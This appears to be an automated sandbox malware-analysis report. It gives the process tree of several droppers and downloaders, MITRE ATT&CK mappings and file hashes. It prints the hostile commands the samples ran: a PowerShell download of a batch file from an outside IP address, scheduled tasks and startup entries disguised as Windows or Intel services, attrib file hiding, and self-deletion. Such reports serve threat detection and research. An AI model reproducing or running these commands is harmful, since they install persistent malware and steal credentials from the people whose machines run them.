C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,13199558291903964600,2142906715990327137,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:210⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,13199558291903964600,2142906715990327137,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:310⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,13199558291903964600,2142906715990327137,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2776 /prefetch:810⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,13199558291903964600,2142906715990327137,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3168 /prefetch:110⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,13199558291903964600,2142906715990327137,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:110⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,13199558291903964600,2142906715990327137,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4640 /prefetch:110⤵
-
-
-
C:\Windows\system32\attrib.exeattrib +s +h d:\net9⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"9⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\random.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\random.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\khtoawdltrha.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\khtoawdltrha.exe"4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\NoEscape.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\NoEscape.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\Bloxflip%20Predictor.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A23EDF7\Files\Bloxflip%20Predictor.exe"4⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\Bloxflip Predictor.exe"C:\Windows\Bloxflip Predictor.exe"5⤵
- Drops startup file
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Windows\Bloxflip Predictor.exe"5⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\New Text Document mod.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\random.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\random.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mode.commode 65,106⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p24291711423417250691697322505 -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_7.zip -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_6.zip -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_5.zip -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_4.zip -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_3.zip -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\attrib.exeattrib +H "in.exe"6⤵
- Views/modifies file attributes
-
-
C:\Users\Admin\AppData\Local\Temp\main\in.exe"in.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\attrib.exeattrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe7⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\attrib.exeattrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe7⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.0.0.1; del in.exe7⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.0.0.18⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\client.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\client.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\l4.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\l4.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\onefile_3944_133785010779390916\l4.exeC:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\l4.exe5⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\W4KLQf7.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\W4KLQf7.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\yiklfON.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\yiklfON.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\yiklfON.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\yiklfON.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\yiklfON.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\yiklfON.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\yiklfON.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\yiklfON.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\AzVRM7c.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\AzVRM7c.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Program Files\Windows Media Player\graph\graph.exe"C:\Program Files\Windows Media Player\graph\graph.exe"5⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\Z9Pp9pM.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\Z9Pp9pM.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\C1J7SVw.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\C1J7SVw.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"5⤵
-
C:\Windows\system32\mode.commode 65,106⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p24291711423417250691697322505 -oextracted6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_7.zip -oextracted6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\3EUEYgl.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\3EUEYgl.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\3EUEYgl.exe" & rd /s /q "C:\ProgramData\5F3EKF3EUA1N" & exit5⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 106⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\Dynpvoy.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\Dynpvoy.exe"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\M5iFR20.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\M5iFR20.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\SysWOW64\cmd.execmd /c systeminfo > tmp.txt && tasklist >> tmp.txt5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\systeminfo.exesysteminfo6⤵
- System Location Discovery: System Language Discovery
- Gathers system information
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\networkmanager.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\networkmanager.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\9feskIx.exe"C:\Users\Admin\AppData\Local\Temp\7zO8A2DC618\a\9feskIx.exe"4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TranscribeX.url" & echo URL="C:\Users\Admin\AppData\Local\AudioSync Innovations\TranscribeX.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TranscribeX.url" & exit2⤵
- Drops startup file
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\Desktop\Downloaders\4363463463464363463463463\4363463463464363463463463.exe"C:\Users\Admin\Desktop\Downloaders\4363463463464363463463463\4363463463464363463463463.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\Downloaders\4363463463464363463463463\Files\T3.exe"C:\Users\Admin\Desktop\Downloaders\4363463463464363463463463\Files\T3.exe"3⤵
-
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵
-
-
C:\Windows\System32\dwm.exeC:\Windows\System32\dwm.exe2⤵
-
-
C:\Users\Admin\Desktop\Downloaders\New Text Document mod.exse\New Text Document mod.exe"C:\Users\Admin\Desktop\Downloaders\New Text Document mod.exse\New Text Document mod.exe"2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "updateru" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\AppData\Local\updater.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "updater" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\updater.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "updateru" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\AppData\Local\updater.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.1.10.13⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exeC:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa387d855 /state1:0x41c64e6d1⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Access Token Manipulation
1Create Process with Token
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Access Token Manipulation
1Create Process with Token
1Hide Artifacts
2Hidden Files and Directories
2Impair Defenses
1Disable or Modify Tools
1Modify Registry
4Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Discovery
Process Discovery
1Query Registry
5Remote System Discovery
1System Information Discovery
5System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
244B
MD509296a2648ed2c5e478c999c7f591218
SHA19106508b9aa4aabf0619b73846d4ec28419b0b91
SHA256b2bce9ff7fdb6fd4984d5bb776108a50c2e8d0042905bd8fb52fd060907ba890
SHA512fd13a36094f8d4b1dab574697ab6367996003f0be9d851da9d7ed4a8092ca242d86f54051f09bde5ff7a3588156072c666e30434fd34ccad73c46e5ca99c32cf
-
Filesize
86B
MD54184d863216165210d10dd8f4ba0d227
SHA1228e946bd7f145cebfd59859b864dd1a3112a525
SHA2561764576742c20e3a66c120318c27e3e481f30b1b26ef770c45c4ced24f760081
SHA512807e3d5e13cb054edf9676c5f820de12fbbe06f3f80af5fbebee1e2856be7c7a48185fe1c11b8864537bafdd3ce619f0dd4805c98df2271e533e47042514595a
-
Filesize
1.6MB
MD51cc56a21eea09e87d3b56f30c726f958
SHA1f0f05cf212f52f05ec59161c0e1e8807f4922211
SHA2563faf85bfe9992f9f95ee87e8c8db9fa88474dab5c8bb55349c80e4a34d097bbb
SHA512955c60b81901c2c5a49e1696d7ee7b207619b9e5435a79167d0e90c7c8e7a1acbbfe84d3170ae4557826700939e1801833c3eb69e5f8d0a6b12819cba7a0b5b3
-
Filesize
152B
MD5c2d9eeb3fdd75834f0ac3f9767de8d6f
SHA14d16a7e82190f8490a00008bd53d85fb92e379b0
SHA2561e5efb5f1d78a4cc269cb116307e9d767fc5ad8a18e6cf95c81c61d7b1da5c66
SHA512d92f995f9e096ecc0a7b8b4aca336aeef0e7b919fe7fe008169f0b87da84d018971ba5728141557d42a0fc562a25191bd85e0d7354c401b09e8b62cdc44b6dcd
-
Filesize
152B
MD5e55832d7cd7e868a2c087c4c73678018
SHA1ed7a2f6d6437e907218ffba9128802eaf414a0eb
SHA256a4d7777b980ec53de3a70aca8fb25b77e9b53187e7d2f0fa1a729ee9a35da574
SHA512897fdebf1a9269a1bf1e3a791f6ee9ab7c24c9d75eeff65ac9599764e1c8585784e1837ba5321d90af0b004af121b2206081a6fb1b1ad571a0051ee33d3f5c5f
-
Filesize
432B
MD5ad60510a71538c68a0cca38b530b687c
SHA10fe457fa7481698f9bd2cafe0952527f6d060efd
SHA2563534c650dd1ab16ba66f003091e4b80d9c83a31c6b666e34713b39ef629d9dc4
SHA512ab520edd22e37dd2173d6e922c0f70e965b0e58f18c32651f7938e5105ecc1d769a12e5c764da25c7093f9af6ca5e29b1888efacb4fed74bb71f3e8c716af884
-
Filesize
5KB
MD5986adf9b48daf2a331dd82b1d73873f2
SHA1652d4a02e4e6bfefbbf8a38ae37dc713286a1f24
SHA2568debb2848fa40832c8be2f2aa47a4fb6a8d125616d1bc14a585487337d2ccee6
SHA51295f3fc1811614ef1bd9d165ed82a0e4282aa092fa268ac21f2eb929f201989da47cfc2aef685826e285109eac9c650e9a28836209036b9494c9baa6393e9c6e4
-
Filesize
7KB
MD57ca295887088cf5c36e9402334b96cea
SHA1e9f73fe1f6e0819aab3ed8de035b5254993ee2e3
SHA256c401b82ec30aaec5a23538f998ccdfa76a6df73e9c36ac6d26dabe87ddc2fd7c
SHA5128bf50d2366ec915311e2b0426be1e3ec31530f3a208cfe0cb61fe8c51b2c797193069228ead573a0567a3cdd2e5d72cb81161366a5860fb4dedb25ebb0d5fd63
-
Filesize
10KB
MD58d6a49533ea18bbd716d61778f98e5fa
SHA1d6a31231232945afff3beca4e683e0bd278b06e5
SHA2567fbfc3eb3aa9808dfabbedb76e910d2f9127c913c1a5584eb8b8b24640df0638
SHA512caa2f3588006a4a4ffbb9501ed640bef8115aa9531ab26b3faadc6a1ec55bd325fe9049b821b9194f77e83f4d295e1bcceb965624e491161251b4e07d58bc958
-
Filesize
3.8MB
MD5c7174152bc891a4d374467523371ff11
SHA16ae1bdfcc4f8752842bdfa49a57709512c5a14c5
SHA256fc4021427512de18c4f01d85a3fe16f424234a62bdbfcac7a7b818797365113d
SHA51279823229323c202f92ffcc593be110ef1e2fcc13f812fae978957cc5ace71abc86e10d9e0a3b8ee4f83292b6f7c3186239fdd0110923ad01932c4adec3b67fe6
-
Filesize
10KB
MD52a94f3960c58c6e70826495f76d00b85
SHA1e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA2562fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
SHA512fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
-
Filesize
206KB
MD584fb854755b8fdb94dc090632d4d85d2
SHA1afe480214f523825d873190021d73a39794986c1
SHA2565a480292122b463676f6afdd72966362a8bb2d17b07c0e60869582950ebb65c1
SHA5129797577c91e4d9d0a601f19d847d637789ac733835522f5840d8f325fcfd18ac7c3eacce1b04dfb42618a134d353012894a0115ccc5d4b6f2adaa913cbeabaf4
-
Filesize
27KB
MD57bf897ca59b77ad3069c07149c35f97e
SHA16951dc20fa1e550ec9d066fe20e5100a9946a56b
SHA256bc37b896fee26a5b4de7845cdd046e0200c783d4907ffa7e16da84ed6b5987dd
SHA5126e0725043262eec328130883b8c6a413c03fa11e766db44e6e2595dfa5d3e13d02b7a199105cad8439c66238cf2975099d40b33cdaeb4768da159060b6f35daf
-
Filesize
670KB
MD5ac94c3ea86ecdd087b575bd5ec5ead4c
SHA1d14b851f26f33a5a4020aaeb3397f75b020a4346
SHA256d9b66f2580bd43a5b03487e161d925c63b3d485d22d71607060eb07e453c03d7
SHA512d827f19987f3017e89266abbbe2dfbb3ff25aceb0b607bd829c0a2e6cd0e2eba82557d375d4908b69ba85f34c4304354b330f27c17cdf431ac97f843d0be1143
-
Filesize
2.3MB
MD50478c21bf8ef83cce4eb19b620165ff7
SHA15ef07502d5208b162703ee20e3d7b655af4d1896
SHA2563011ebd226c1b5ec573ac8827a4b1d3395440652edc4fbde3cb91f59419a3d08
SHA5123fe6c238caff0b9186a371d34f42c2844de6b52b62954b08680846dc20995adcac4aa2b35b837e9a841c852d9193395c5cd7d517551b634493a4ba2849a12b7d
-
Filesize
303KB
MD59b3eef2c222e08a30baefa06c4705ffc
SHA182847ce7892290e76be45b09aa309b27a9376e54
SHA2568903d4bfe61ca3ca897af368619fe98a7d0ee81495df032b9380f00af41bbfc7
SHA5125c72c37144b85b0a07077243ffe21907be315e90ba6c268fdb10597f1e3293e52a753dccbfd48578871a032898677c918fa71dc02d6861e05f98f5e718189b73
-
Filesize
666KB
MD5989ae3d195203b323aa2b3adf04e9833
SHA131a45521bc672abcf64e50284ca5d4e6b3687dc8
SHA256d30d7676a3b4c91b77d403f81748ebf6b8824749db5f860e114a8a204bca5b8f
SHA512e9d4e6295869f3a456c7ea2850c246d0c22afa65c2dd5161744ee5b3e29e44d9a2d758335f98001cdb348eaa51a71cd441b4ddc12c8d72509388657126e69305
-
Filesize
40KB
MD59259395129f04b787aa8c430abed9b80
SHA11ab81f68fe695793145565749089697b5350abb2
SHA2564174f8ec88ee2c8edbbdd1964db8651a85e5dfc0a15e9f1ee897d8f88e72ae70
SHA512358ab10004a42763f4a3b71118cc100ffe3357a1fc7f83586d6216398427e339c4116f30e7cbcdab2039ac92ed0dbe9fefe545bd967b4f6fa365e3989d6b1ab3
-
Filesize
1.9MB
MD51bfbd30885f39ec391d870075f5981ba
SHA1e1fbb46d46aa7828951d5e297f97fae39b0897ab
SHA256c0d7ecfc651f90642687a199e5b94ce4723e380a4f592ff9e59cd01d52f06473
SHA512d5a901ef27899dabc33647e1072c26aeb1ebca6e8b996f6ae124771c27278655a76969fd3becf8785f312beac4cc46126ccc2141ae6a65e9f4ee5e4651d932a6
-
Filesize
3.1MB
MD56a0bb84dcd837e83638f4292180bf5ab
SHA120e31ccffe1ac806e75ea839ea90b4c91e4322c5
SHA256e119fe767f3d10a387df1951d4b356384c5a9d0441b4034ddf7293c389a410b4
SHA512d0d61815c1ca73e4d1b8d5c3ea61e0572bfa9f6e984247b8e66c22e5591d61f766c6476c2686ce611917a56f2d4d8b8ddb4efcdbed707855e4190a2404eedcc5
-
Filesize
1.2MB
MD521eb0b29554b832d677cea9e8a59b999
SHA1e6775ef09acc67f90e07205788a4165cbf8496ca
SHA2569aaa862061c903f3f5a1d509f0016a599b9152d02ea0365dfd3bbd9c5c147656
SHA512e7434e0d46e37e4a76bd8e394063a3ac531892b972347b3de8aa71689ded1ce4968b1a1defda720af4cfa66037390cbe771105e7bf892ef640cbee12e862e742
-
Filesize
1.8MB
MD54f964ada28fa2dde5c75d3c3682e69c4
SHA1481a0ddc3dfd39147abf684b60b6a0b1dfbbc341
SHA2567b0699fb946ce952624a3d5807839fb1a0613993270aca8227f35001b790b945
SHA512ab07c9602776dc062599a89eed9d38be2c95f563a9ed9c906e6c1066f80e5666f119c5a790a120bf626a73edd3cc178924262d41c0f65eb20fcf3b542a83dc68
-
Filesize
409KB
MD5774a8755eccb3ebd8463204e8cd60941
SHA1d8ecf01619f49c805ce41a2317c1a4ca99cfb270
SHA25688200c0685cdb81d2aa94923ffcca110416d4dd9599e00c44635f13c630aa254
